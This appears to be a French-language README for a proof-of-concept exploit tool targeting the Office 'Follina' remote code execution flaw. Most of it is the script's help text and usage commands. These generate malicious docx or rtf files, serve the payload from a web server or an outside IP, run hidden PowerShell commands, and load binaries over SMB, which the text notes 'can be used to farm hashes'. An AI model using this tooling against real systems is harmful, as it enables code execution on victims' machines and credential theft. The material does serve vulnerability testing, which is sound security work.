
POC pour reproduire l'intégralité de la vulnérabilité RCE 'Follina' d'Office à des fins de test
POC rapide pour répliquer la vulnérabilité RCE Office « Follina » à des fins de tests locaux. L'exécution du script générera un fichier de charge utile clickme.docx (ou clickme.rtf) dans votre répertoire de travail actuel et démarrera un serveur web avec le fichier de charge utile (www/exploit.html). Les paramètres de la charge utile et du serveur web sont configurables (voir l'aide et les exemples).
⚠ NE PAS UTILISER EN PRODUCTION, SOUS PEINE D'ÊTRE TRAITÉ D'IDIOT
$ python .\follina.py -h
usage: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] -t {rtf,docx} [-u URL] [-H HOST] [-P PORT]
options:
-h, --help show this help message and exit
Required Arguments:
-m {command,binary}, --mode {command,binary}
Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command
Binary Execution Arguments:
-b BINARY, --binary BINARY
The full path of the binary to run. Can be local or remote from an SMB share
Command Execution Arguments:
-c COMMAND, --command COMMAND
The encoded command to execute in "command" mode
Optional Arguments:
-t {rtf,docx}, --type {rtf,docx}
The type of payload to use, can be "docx" or "rtf"
-u URL, --url URL The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost". Disables web server if custom URL scheme or path are specified
-H HOST, --host HOST The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
-P PORT, --port PORT The port to run the HTTP server on, defaults to 80
# Execute a local binary
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe
# On linux you may have to escape backslashes
python .\follina.py -t rtf -m binary -b \\windows\\system32\\calc.exe
# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -t docx -m binary -b \\localhost\c$\windows\system32\calc.exe
# Execute an arbitrary powershell command
python .\follina.py -t rtf -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"
# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe -u 1.2.3.4
# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -t rtf -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080
Merci à Kevin Beaumont pour son analyse initiale du problème, à @KevTheHermit pour avoir partagé son POC, et à John Hammond pour son travail supplémentaire sur l'analyse des exigences de la charge utile. Remerciements supplémentaires à @mkolsek pour le modèle compatible Office 2019, et à @theluemmel pour m'avoir partagé sa version de la charge utile.